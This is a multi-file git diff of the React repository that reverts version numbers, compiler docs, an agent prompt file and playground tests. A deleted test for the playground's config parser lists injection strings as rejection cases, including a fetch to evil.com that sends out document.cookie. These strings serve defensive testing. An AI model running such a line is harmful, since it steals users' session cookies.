Below is a list of all new features, APIs, deprecations, and breaking changes. Read [React 19 release post](https://react.dev/blog/2024/04/25/react-19) and [React 19 upgrade guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide) for more information.

View File

@@ -1,8 +0,0 @@
# React
React is a JavaScript library for building user interfaces.
## Monorepo Overview
- **React**: All files outside `/compiler/`
- **React Compiler**: `/compiler/` directory (has its own instructions)

View File

@@ -1,6 +1,5 @@
acdlite
eps1lon
EugeneChoi4
gaearon
gnoff
unstubbable

View File

@@ -7,18 +7,18 @@
//
// The @latest channel uses the version as-is, e.g.:
//
// 19.3.0
// 19.1.0
//
// The @canary channel appends additional information, with the scheme
// <version>-<label>-<commit_sha>, e.g.:
//
// 19.3.0-canary-a1c2d3e4
// 19.1.0-canary-a1c2d3e4
//
// The @experimental channel doesn't include a version, only a date and a sha, e.g.:
//
// 0.0.0-experimental-241c4467e-20200129
const ReactVersion = '19.3.0';
const ReactVersion = '19.2.0';
// The label used by the @canary channel. Represents the upcoming release's
// stability. Most of the time, this will be "canary", but we may temporarily
@@ -33,8 +33,8 @@ const canaryChannelLabel = 'canary';
const rcNumber = 0;
const stablePackages = {
'eslint-plugin-react-hooks': '7.1.1',
'jest-react': '0.18.0',
'eslint-plugin-react-hooks': '6.1.0',
'jest-react': '0.17.0',
react: ReactVersion,
'react-art': ReactVersion,
'react-dom': ReactVersion,
@@ -42,12 +42,12 @@ const stablePackages = {
'react-server-dom-turbopack': ReactVersion,
'react-server-dom-parcel': ReactVersion,
'react-is': ReactVersion,
'react-reconciler': '0.34.0',
'react-refresh': '0.19.0',
'react-reconciler': '0.33.0',
'react-refresh': '0.18.0',
'react-test-renderer': ReactVersion,
'use-subscription': '1.13.0',
'use-sync-external-store': '1.7.0',
scheduler: '0.28.0',
'use-subscription': '1.12.0',
'use-sync-external-store': '1.6.0',
scheduler: '0.27.0',
};
// These packages do not exist in the @canary or @latest channel, only

View File

@@ -8,7 +8,6 @@ module.exports = {
'@babel/plugin-syntax-jsx',
'@babel/plugin-transform-flow-strip-types',
['@babel/plugin-transform-class-properties', {loose: true}],
['@babel/plugin-transform-private-methods', {loose: true}],
'@babel/plugin-transform-classes',
],
presets: [

View File

@@ -1,113 +0,0 @@
---
name: investigate-error
description: Investigates React compiler errors to determine the root cause and identify potential mitigation(s). Use this agent when the user asks to 'investigate a bug', 'debug why this fixture errors', 'understand why the compiler is failing', 'find the root cause of a compiler issue', or when they provide a snippet of code and ask to debug. Use automatically when encountering a failing test case, in order to understand the root cause.
model: opus
color: pink
---
You are an expert React Compiler debugging specialist with deep knowledge of compiler internals, intermediate representations, and optimization passes. Your mission is to systematically investigate compiler bugs to identify root causes and provide actionable information for fixes.
## Your Investigation Process
### Step 1: Create Test Fixture
Create a new fixture file at `packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<fixture-name>.js` containing the problematic code. Use a descriptive name that reflects the issue (e.g., `bug-optional-chain-in-effect.js`).
### Step 2: Run Debug Compilation
Execute `yarn snap -d -p <fixture-name>` to compile the fixture with full debug output. This shows the state of the program after each compilation pass. You can also use `yarn snap compile -d <path-to-fixture>`.
### Step 3: Analyze Compilation Results
### Step 3a: If the fixture compiles successfully
- Compare the output against the user's expected behavior
- Review each compilation pass output from the `-d` flag
- Identify the first pass where the output diverges from expected behavior
- Proceed to binary search simplification
### Step 3b: If the fixture errors
Execute `yarn snap minimize --update <path-to-fixture>` to remove non-critical aspects of the failing test case. This **updates the fixture in place**.
Re-read the fixture file to see the latest, minimal reproduction of the error.
### Step 4: Iteratively adjust the fixture until it stops erroring
After the previous step the fixture will have all extraneous aspects removed. Try to make further edits to determine the specific feature that is causing the error.
Ideas:
* Replace immediately-invoked function expressions with labeled blocks
* Remove statements
* Simplify calls (remove arguments, replace the call with its lone argument)
* Simplify control flow statements by picking a single branch. Try using a labeled block with just the selected block
* Replace optional member/call expressions with non-optional versions
* Remove items in array/object expressions
* Remove properties from member expressions
Try to make the minimal possible edit to get the fixture stop erroring.
### Step 5: Compare Debug Outputs
With both minimal versions (failing and non-failing):
- Run `yarn snap -d -p <fixture-name>` on both
- Compare the debug output pass-by-pass
- Identify the exact pass where behavior diverges
- Note specific differences in HIR, effects, or generated code
### Step 6: Investigate Compiler Logic
- Read the documentation for the problematic pass in `packages/babel-plugin-react-compiler/docs/passes/`
- Examine the pass implementation in `packages/babel-plugin-react-compiler/src/`
- Key directories to investigate:
- `src/HIR/` - IR definitions and utilities
- `src/Inference/` - Effect inference (aliasing, mutation)
- `src/Validation/` - Validation passes
- `src/Optimization/` - Optimization passes
- `src/ReactiveScopes/` - Reactive scope analysis
- Identify specific code locations that may be handling the pattern incorrectly
## Output Format
Provide a structured investigation report:
```
## Investigation Summary
### Bug Description
[Brief description of the issue]
### Minimal Failing Fixture
```javascript
// packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<name>.js
[minimal code that reproduces the error]
```
### Minimal Non-Failing Fixture
```javascript
// The simplest change that makes it work
[code that compiles correctly]
```
### Problematic Compiler Pass
[Name of the pass where the issue occurs]
### Root Cause Analysis
[Explanation of what the compiler is doing wrong]
### Suspect Code Locations
- `packages/babel-plugin-react-compiler/src/<path>:<line>:<column>` - [description of what may be incorrect]
- [additional locations if applicable]
### Suggested Fix Direction
[Brief suggestion of how the bug might be fixed]
```
## Key Debugging Tips
1. The debug output (`-d` flag) shows the program state after each pass - use this to pinpoint where things go wrong
2. Look for `@aliasingEffects=` on FunctionExpressions to understand data flow
3. Check for `Impure`, `Render`, `Capture` effects on instructions
4. The pass ordering in `Pipeline.ts` shows when effects are populated vs validated
5. Todo errors indicate unsupported but known patterns; Invariant errors indicate unexpected states
## Important Reminders
- Always create the fixture file before running tests
- Use descriptive fixture names that indicate the bug being investigated
- Keep both failing and non-failing minimal versions for your report
- Provide specific file:line:column references when identifying suspect code
- Read the relevant pass documentation before making conclusions about the cause

View File

@@ -1,18 +0,0 @@
{
"permissions": {
"allow": [
"Bash(yarn snap:*)",
"Bash(yarn snap:build)",
"Bash(node scripts/enable-feature-flag.js:*)"
],
"deny": [
"Skill(extract-errors)",
"Skill(feature-flags)",
"Skill(fix)",
"Skill(flags)",
"Skill(flow)",
"Skill(test)",
"Skill(verify)"
]
}
}

16
compiler/.gitignore vendored
View File

@@ -1,16 +1,28 @@
.DS_Store
.spr.yml
# Generated by Cargo
# will have compiled files and executables
debug/
target/
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
node_modules
.watchmanconfig
.watchman-cookie-*
dist
.vscode
!packages/playground/.vscode
.spr.yml
testfilter.txt
.claude/settings.local.json
bundle-oss.sh
# forgive
*.vsix
.vscode-test

View File

@@ -1,9 +1,3 @@
## 19.1.0-rc.2 (May 14, 2025)
## babel-plugin-react-compiler
* Fix for string attribute values with emoji [#33096](https://github.com/facebook/react/pull/33096) by [@josephsavona](https://github.com/josephsavona)
## 19.1.0-rc.1 (April 21, 2025)
## eslint-plugin-react-hooks

View File

@@ -1,261 +0,0 @@
# React Compiler Knowledge Base
This document contains knowledge about the React Compiler gathered during development sessions. It serves as a reference for understanding the codebase architecture and key concepts.
## Project Structure
When modifying the compiler, you MUST read the documentation about that pass in `compiler/packages/babel-plugin-react-compiler/docs/passes/` to learn more about the role of that pass within the compiler.
- `packages/babel-plugin-react-compiler/` - Main compiler package
- `src/HIR/` - High-level Intermediate Representation types and utilities
- `src/Inference/` - Effect inference passes (aliasing, mutation, etc.)
- `src/Validation/` - Validation passes that check for errors
- `src/Entrypoint/Pipeline.ts` - Main compilation pipeline with pass ordering
- `src/__tests__/fixtures/compiler/` - Test fixtures
- `error.todo-*.js` - Unsupported feature, correctly throws Todo error (graceful bailout)
- `error.bug-*.js` - Known bug, throws wrong error type or incorrect behavior
- `*.expect.md` - Expected output for each fixture
## Running Tests
```bash
# Run all tests
yarn snap
# Run tests matching a pattern
# Example: yarn snap -p 'error.*'
yarn snap -p <pattern>
# Run a single fixture in debug mode. Use the path relative to the __tests__/fixtures/compiler directory
# For each step of compilation, outputs the step name and state of the compiled program
# Example: yarn snap -p simple.js -d
yarn snap -p <file-basename> -d
# Update fixture outputs (also works with -p)
yarn snap -u
```
## Linting
```bash
# Run lint on the compiler source
yarn workspace babel-plugin-react-compiler lint
```
## Formatting
```bash
# Run prettier on all files (from the react root directory, not compiler/)
yarn prettier-all
```
## Compiling Arbitrary Files
Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
```bash
# Compile a file and see the output
yarn snap compile <path>
# Compile with debug logging to see the state after each compiler pass
# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet
yarn snap compile --debug <path>
```
## Minimizing Test Cases
Use `yarn snap minimize` to automatically reduce a failing test case to its minimal reproduction:
```bash
# Minimize a file that causes a compiler error
yarn snap minimize <path>
# Minimize and update the file in-place with the minimized version
yarn snap minimize --update <path>
```
## Version Control
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
```bash
# Check status
sl status
# Add new files, remove deleted files
sl addremove
# Commit all changes
sl commit -m "Your commit message"
# Commit with multi-line message using heredoc
sl commit -m "$(cat <<'EOF'
Summary line
Detailed description here
EOF
)"
```
## Key Concepts
### HIR (High-level Intermediate Representation)
The compiler converts source code to HIR for analysis. Key types in `src/HIR/HIR.ts`:
- **HIRFunction** - A function being compiled
- `body.blocks` - Map of BasicBlocks
- `context` - Captured variables from outer scope
- `params` - Function parameters
- `returns` - The function's return place
- `aliasingEffects` - Effects that describe the function's behavior when called
- **Instruction** - A single operation
- `lvalue` - The place being assigned to
- `value` - The instruction kind (CallExpression, FunctionExpression, LoadLocal, etc.)
- `effects` - Array of AliasingEffects for this instruction
- **Terminal** - Block terminators (return, branch, etc.)
- `effects` - Array of AliasingEffects
- **Place** - A reference to a value
- `identifier.id` - Unique IdentifierId
- **Phi nodes** - Join points for values from different control flow paths
- Located at `block.phis`
- `phi.place` - The result place
- `phi.operands` - Map of predecessor block to source place
### AliasingEffects System
Effects describe data flow and operations. Defined in `src/Inference/AliasingEffects.ts`:
**Data Flow Effects:**
- `Impure` - Marks a place as containing an impure value (e.g., Date.now() result, ref.current)
- `Capture a -> b` - Value from `a` is captured into `b` (mutable capture)
- `Alias a -> b` - `b` aliases `a`
- `ImmutableCapture a -> b` - Immutable capture (like Capture but read-only)
- `Assign a -> b` - Direct assignment
- `MaybeAlias a -> b` - Possible aliasing
- `CreateFrom a -> b` - Created from source
**Mutation Effects:**
- `Mutate value` - Value is mutated
- `MutateTransitive value` - Value and transitive captures are mutated
- `MutateConditionally value` - May mutate
- `MutateTransitiveConditionally value` - May mutate transitively
**Other Effects:**
- `Render place` - Place is used in render context (JSX props, component return)
- `Freeze place` - Place is frozen (made immutable)
- `Create place` - New value created
- `CreateFunction` - Function expression created, includes `captures` array
- `Apply` - Function application with receiver, function, args, and result
### Hook Aliasing Signatures
Located in `src/HIR/Globals.ts`, hooks can define custom aliasing signatures to control how data flows through them.
**Structure:**
```typescript
aliasing: {
receiver: '@receiver', // The hook function itself
params: ['@param0'], // Named positional parameters
rest: '@rest', // Rest parameters (or null)
returns: '@returns', // Return value
temporaries: [], // Temporary values during execution
effects: [ // Array of effects to apply when hook is called
{kind: 'Freeze', value: '@param0', reason: ValueReason.HookCaptured},
{kind: 'Assign', from: '@param0', into: '@returns'},
],
}
```
**Common patterns:**
1. **RenderHookAliasing** (useState, useContext, useMemo, useCallback):
- Freezes arguments (`Freeze @rest`)
- Marks arguments as render-time (`Render @rest`)
- Creates frozen return value
- Aliases arguments to return
2. **EffectHookAliasing** (useEffect, useLayoutEffect, useInsertionEffect):
- Freezes function and deps
- Creates internal effect object
- Captures function and deps into effect
- Returns undefined
3. **Event handler hooks** (useEffectEvent):
- Freezes callback (`Freeze @fn`)
- Aliases input to return (`Assign @fn -> @returns`)
- NO Render effect (callback not called during render)
**Example: useEffectEvent**
```typescript
const UseEffectEventHook = addHook(
DEFAULT_SHAPES,
{
positionalParams: [Effect.Freeze], // Takes one positional param
restParam: null,
returnType: {kind: 'Function', ...},
calleeEffect: Effect.Read,
hookKind: 'useEffectEvent',
returnValueKind: ValueKind.Frozen,
aliasing: {
receiver: '@receiver',
params: ['@fn'], // Name for the callback parameter
rest: null,
returns: '@returns',
temporaries: [],
effects: [
{kind: 'Freeze', value: '@fn', reason: ValueReason.HookCaptured},
{kind: 'Assign', from: '@fn', into: '@returns'},
// Note: NO Render effect - callback is not called during render
],
},
},
BuiltInUseEffectEventId,
);
// Add as both names for compatibility
['useEffectEvent', UseEffectEventHook],
['experimental_useEffectEvent', UseEffectEventHook],
```
**Key insight:** If a hook is missing an `aliasing` config, it falls back to `DefaultNonmutatingHook` which includes a `Render` effect on all arguments. This can cause false positives for hooks like `useEffectEvent` whose callbacks are not called during render.
## Feature Flags
Feature flags are configured in `src/HIR/Environment.ts`, for example `enableJsxOutlining`. Test fixtures can override the active feature flags used for that fixture via a comment pragma on the first line of the fixture input, for example:
```javascript
// enableJsxOutlining @enableNameAnonymousFunctions:false
...code...
```
Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymousFunctions` feature.
## Debugging Tips
1. Run `yarn snap -p <fixture>` to see full HIR output with effects
2. Look for `@aliasingEffects=` on FunctionExpressions
3. Look for `Impure`, `Render`, `Capture` effects on instructions
4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
## Error Handling and Fault Tolerance
The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
**Error categories:**
- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
- Non-`CompilerError` exceptions — Always re-thrown.
**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.

View File

@@ -12,7 +12,6 @@
# next.js
/.next/
/out/
/next-env.d.ts
# production
/build

View File

@@ -1,4 +1,5 @@
import { c as _c } from "react/compiler-runtime"; // @compilationMode:"all"
import { c as _c } from "react/compiler-runtime"; // 
        @compilationMode(all)
function nonReactFn() {
  const $ = _c(1);
  let t0;

View File

@@ -1,4 +1,4 @@
// @compilationMode:"infer"
// @compilationMode(infer)
function nonReactFn() {
  return {};
}

View File

@@ -1,3 +0,0 @@
{
  //compilationMode: "all"
}

View File

@@ -5,9 +5,8 @@
* LICENSE file in the root directory of this source tree.
*/
import {expect, test, type Page} from '@playwright/test';
import {expect, test} from '@playwright/test';
import {encodeStore, type Store} from '../../lib/stores';
import {defaultConfig} from '../../lib/defaultStore';
import {format} from 'prettier';
function isMonacoLoaded(): boolean {
@@ -21,16 +20,6 @@ function formatPrint(data: Array<string>): Promise<string> {
return format(data.join(''), {parser: 'babel'});
}
async function expandConfigs(page: Page): Promise<void> {
const expandButton = page.locator('[title="Expand config editor"]');
await expandButton.click();
await page.waitForSelector('.monaco-editor-config', {state: 'visible'});
}
const TEST_SOURCE = `export default function TestComponent({ x }) {
return <Button>{x}</Button>;
}`;
const TEST_CASE_INPUTS = [
{
name: 'module-scope-use-memo',
@@ -103,7 +92,7 @@ function useFoo(propVal: {+baz: number}) {
},
{
name: 'compilationMode-infer',
input: `// @compilationMode:"infer"
input: `// @compilationMode(infer)
function nonReactFn() {
return {};
}
@@ -112,7 +101,7 @@ function nonReactFn() {
},
{
name: 'compilationMode-all',
input: `// @compilationMode:"all"
input: `// @compilationMode(all)
function nonReactFn() {
return {};
}
@@ -132,9 +121,10 @@ test('editor should open successfully', async ({page}) => {
test('editor should compile from hash successfully', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: defaultConfig,
showInternals: false,
source: `export default function TestComponent({ x }) {
return <Button>{x}</Button>;
}
`,
};
const hash = encodeStore(store);
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
@@ -146,7 +136,7 @@ test('editor should compile from hash successfully', async ({page}) => {
path: 'test-results/01-compiles-from-hash.png',
});
const text =
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
(await page.locator('.monaco-editor').nth(1).allInnerTexts()) ?? [];
const output = await formatPrint(text);
expect(output).not.toEqual('');
@@ -155,9 +145,10 @@ test('editor should compile from hash successfully', async ({page}) => {
test('reset button works', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: defaultConfig,
showInternals: false,
source: `export default function TestComponent({ x }) {
return <Button>{x}</Button>;
}
`,
};
const hash = encodeStore(store);
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
@@ -166,170 +157,33 @@ test('reset button works', async ({page}) => {
// Reset button works
page.on('dialog', dialog => dialog.accept());
await page.getByRole('button', {name: 'Reset'}).click();
await expandConfigs(page);
await page.screenshot({
fullPage: true,
path: 'test-results/02-reset-button-works.png',
});
const text =
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
(await page.locator('.monaco-editor').nth(1).allInnerTexts()) ?? [];
const output = await formatPrint(text);
const configText =
(await page.locator('.monaco-editor-config').allInnerTexts()) ?? [];
const configOutput = configText.join('');
expect(output).not.toEqual('');
expect(output).toMatchSnapshot('02-default-output.txt');
expect(configOutput).not.toEqual('');
expect(configOutput).toMatchSnapshot('default-config.txt');
});
test('defaults load when only source is in Store', async ({page}) => {
// Test for backwards compatibility
const partial = {
source: TEST_SOURCE,
};
const hash = encodeStore(partial as Store);
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
await page.waitForFunction(isMonacoLoaded);
await expandConfigs(page);
await page.screenshot({
fullPage: true,
path: 'test-results/03-missing-defaults.png',
});
// Config editor has default config
const configText =
(await page.locator('.monaco-editor-config').allInnerTexts()) ?? [];
const configOutput = configText.join('');
expect(configOutput).not.toEqual('');
expect(configOutput).toMatchSnapshot('default-config.txt');
const checkbox = page.locator('label.show-internals');
await expect(checkbox).not.toBeChecked();
const ssaTab = page.locator('text=SSA');
await expect(ssaTab).not.toBeVisible();
});
test('show internals button toggles correctly', async ({page}) => {
await page.goto(`/`, {waitUntil: 'networkidle'});
await page.waitForFunction(isMonacoLoaded);
// show internals should be off
const checkbox = page.locator('label.show-internals');
await checkbox.click();
await page.screenshot({
fullPage: true,
path: 'test-results/04-show-internals-on.png',
});
await expect(checkbox).toBeChecked();
const ssaTab = page.locator('text=SSA');
await expect(ssaTab).toBeVisible();
});
test('error is displayed when config has syntax error', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: `{ compilationMode: }`,
showInternals: false,
};
const hash = encodeStore(store);
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
await page.waitForFunction(isMonacoLoaded);
await expandConfigs(page);
await page.screenshot({
fullPage: true,
path: 'test-results/05-config-syntax-error.png',
});
const text =
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
const output = text.join('');
// Remove hidden chars
expect(output.replace(/\s+/g, ' ')).toContain(
'Unexpected failure when transforming configs',
);
});
test('error is displayed when config has validation error', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: `{
compilationMode: "123"
}`,
showInternals: false,
};
const hash = encodeStore(store);
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
await page.waitForFunction(isMonacoLoaded);
await expandConfigs(page);
await page.screenshot({
fullPage: true,
path: 'test-results/06-config-validation-error.png',
});
const text =
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
const output = text.join('');
expect(output.replace(/\s+/g, ' ')).toContain('Unexpected compilationMode');
});
test('error is displayed when source has syntax error', async ({page}) => {
const syntaxErrorSource = `function TestComponent(props) {
const oops = props.
return (
<>{oops}</>
);
}`;
const store: Store = {
source: syntaxErrorSource,
config: defaultConfig,
showInternals: false,
};
const hash = encodeStore(store);
await page.goto(`/#${hash}`);
await page.waitForFunction(isMonacoLoaded);
await expandConfigs(page);
await page.screenshot({
fullPage: true,
path: 'test-results/08-source-syntax-error.png',
});
const text =
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
const output = text.join('');
expect(output.replace(/\s+/g, ' ')).toContain(
'Expected identifier to be defined before being used',
);
});
TEST_CASE_INPUTS.forEach((t, idx) =>
test(`playground compiles: ${t.name}`, async ({page}) => {
const store: Store = {
source: t.input,
config: defaultConfig,
showInternals: false,
};
const hash = encodeStore(store);
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
await page.waitForFunction(isMonacoLoaded);
await page.screenshot({
fullPage: true,
path: `test-results/08-0${idx}-${t.name}.png`,
path: `test-results/03-0${idx}-${t.name}.png`,
});
const text =
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
(await page.locator('.monaco-editor').nth(1).allInnerTexts()) ?? [];
let output: string;
if (t.noFormat) {
output = text.join('');

View File

@@ -1,157 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import assert from 'node:assert';
import {test, describe} from 'node:test';
import JSON5 from 'json5';
// Re-implement parseConfigOverrides here since the source uses TS imports
// that can't be directly loaded by Node. This mirrors the logic in
// compilation.ts exactly.
function parseConfigOverrides(configOverrides) {
const trimmed = configOverrides.trim();
if (!trimmed) {
return {};
}
return JSON5.parse(trimmed);
}
describe('parseConfigOverrides', () => {
test('empty string returns empty object', () => {
assert.deepStrictEqual(parseConfigOverrides(''), {});
assert.deepStrictEqual(parseConfigOverrides(' '), {});
});
test('default config parses correctly', () => {
const config = `{
//compilationMode: "all"
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {});
});
test('compilationMode "all" parses correctly', () => {
const config = `{
compilationMode: "all"
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('config with single-line and block comments parses correctly', () => {
const config = `{
// This is a single-line comment
/* This is a block comment */
compilationMode: "all",
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('config with trailing commas parses correctly', () => {
const config = `{
compilationMode: "all",
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('nested environment options parse correctly', () => {
const config = `{
environment: {
validateRefAccessDuringRender: true,
},
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {
environment: {validateRefAccessDuringRender: true},
});
});
test('multiple options parse correctly', () => {
const config = `{
compilationMode: "all",
environment: {
validateRefAccessDuringRender: false,
},
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {
compilationMode: 'all',
environment: {validateRefAccessDuringRender: false},
});
});
test('rejects malicious IIFE injection', () => {
const config = `(function(){ document.title = "hacked"; return {}; })()`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects malicious comma operator injection', () => {
const config = `{
compilationMode: (alert("xss"), "all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects function call in value', () => {
const config = `{
compilationMode: eval("all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects variable references', () => {
const config = `{
compilationMode: someVar
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects template literals', () => {
const config = `{
compilationMode: \`all\`
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects constructor calls', () => {
const config = `{
compilationMode: new String("all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects arbitrary JS code', () => {
const config = `fetch("https://evil.com?c=" + document.cookie)`;
assert.throws(() => parseConfigOverrides(config));
});
test('config with array values parses correctly', () => {
const config = `{
sources: ["src/a.ts", "src/b.ts"],
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
});
test('config with null values parses correctly', () => {
const config = `{
compilationMode: null,
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: null});
});
test('config with numeric values parses correctly', () => {
const config = `{
maxLevel: 42,
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {maxLevel: 42});
});
});

View File

@@ -0,0 +1,56 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import type {NextPage} from 'next';
import Head from 'next/head';
import {SnackbarProvider} from 'notistack';
import {Editor, Header, StoreProvider} from '../components';
import MessageSnackbar from '../components/Message';
const Home: NextPage = () => {
return (
<div className="flex flex-col w-screen h-screen font-light">
<Head>
<title>
{process.env.NODE_ENV === 'development'
? '[DEV] React Compiler Playground'
: 'React Compiler Playground'}
</title>
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"></meta>
<link rel="icon" href="/favicon.ico" />
<link rel="manifest" href="/site.webmanifest" />
<link
rel="preload"
href="/fonts/Source-Code-Pro-Regular.woff2"
as="font"
type="font/woff2"
crossOrigin="anonymous"
/>
<link
rel="preload"
href="/fonts/Optimistic_Display_W_Lt.woff2"
as="font"
type="font/woff2"
crossOrigin="anonymous"
/>
</Head>
<StoreProvider>
<SnackbarProvider
preventDuplicate
maxSnack={10}
Components={{message: MessageSnackbar}}>
<Header />
<Editor />
</SnackbarProvider>
</StoreProvider>
</div>
);
};
export default Home;

View File

@@ -1,126 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import {Resizable} from 're-resizable';
import React, {
useId,
unstable_ViewTransition as ViewTransition,
unstable_addTransitionType as addTransitionType,
startTransition,
} from 'react';
import {EXPAND_ACCORDION_TRANSITION} from '../lib/transitionTypes';
type TabsRecord = Map<string, React.ReactNode>;
export default function AccordionWindow(props: {
defaultTab: string | null;
tabs: TabsRecord;
tabsOpen: Set<string>;
setTabsOpen: (newTab: Set<string>) => void;
changedPasses: Set<string>;
}): React.ReactElement {
return (
<div className="flex-1 min-w-[550px] sm:min-w-0">
<div className="flex flex-row h-full">
{Array.from(props.tabs.keys()).map(name => {
return (
<AccordionWindowItem
name={name}
key={name}
tabs={props.tabs}
tabsOpen={props.tabsOpen}
setTabsOpen={props.setTabsOpen}
hasChanged={props.changedPasses.has(name)}
/>
);
})}
</div>
</div>
);
}
function AccordionWindowItem({
name,
tabs,
tabsOpen,
setTabsOpen,
hasChanged,
}: {
name: string;
tabs: TabsRecord;
tabsOpen: Set<string>;
setTabsOpen: (newTab: Set<string>) => void;
hasChanged: boolean;
isFailure: boolean;
}): React.ReactElement {
const id = useId();
const isShow = tabsOpen.has(name);
const transitionName = `accordion-window-item-${id}`;
const toggleTabs = (): void => {
startTransition(() => {
addTransitionType(EXPAND_ACCORDION_TRANSITION);
const nextState = new Set(tabsOpen);
if (nextState.has(name)) {
nextState.delete(name);
} else {
nextState.add(name);
}
setTabsOpen(nextState);
});
};
// Replace spaces with non-breaking spaces
const displayName = name.replace(/ /g, '\u00A0');
return (
<div key={name} className="flex flex-row">
{isShow ? (
<ViewTransition
name={transitionName}
update={{
[EXPAND_ACCORDION_TRANSITION]: 'expand-accordion',
default: 'none',
}}>
<Resizable className="border-r" minWidth={550} enable={{right: true}}>
<h2
title="Minimize tab"
aria-label="Minimize tab"
onClick={toggleTabs}
className={`p-4 duration-150 ease-in border-b cursor-pointer border-grey-200 ${
hasChanged ? 'font-bold' : 'font-light'
} text-secondary hover:text-link`}>
- {displayName}
</h2>
{tabs.get(name) ?? <div>No output for {name}</div>}
</Resizable>
</ViewTransition>
) : (
<ViewTransition
name={transitionName}
update={{
[EXPAND_ACCORDION_TRANSITION]: 'expand-accordion',
default: 'none',
}}>
<div className="relative items-center h-full px-1 py-6 align-middle border-r border-grey-200">
<button
title={`Expand compiler tab: ${name}`}
aria-label={`Expand compiler tab: ${name}`}
style={{transform: 'rotate(90deg) translate(-50%)'}}
onClick={toggleTabs}
className={`flex-grow-0 w-5 transition-colors duration-150 ease-in ${
hasChanged ? 'font-bold' : 'font-light'
} text-secondary hover:text-link`}>
{displayName}
</button>
</div>
</ViewTransition>
)}
</div>
);
}

View File

@@ -1,206 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import MonacoEditor, {loader, type Monaco} from '@monaco-editor/react';
import type {editor} from 'monaco-editor';
import * as monaco from 'monaco-editor';
import React, {
useState,
useRef,
unstable_ViewTransition as ViewTransition,
unstable_addTransitionType as addTransitionType,
startTransition,
} from 'react';
import {Resizable} from 're-resizable';
import {useStore, useStoreDispatch} from '../StoreContext';
import {monacoConfigOptions} from './monacoOptions';
import {IconChevron} from '../Icons/IconChevron';
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
loader.config({monaco});
export default function ConfigEditor({
formattedAppliedConfig,
}: {
formattedAppliedConfig: string;
}): React.ReactElement {
const [isExpanded, setIsExpanded] = useState(false);
// TODO: Add back <Activity> after upgrading next.js
return (
<>
<div
style={{
display: isExpanded ? 'block' : 'none',
}}>
{/* <Activity mode={isExpanded ? 'visible' : 'hidden'}> */}
<ExpandedEditor
onToggle={() => {
startTransition(() => {
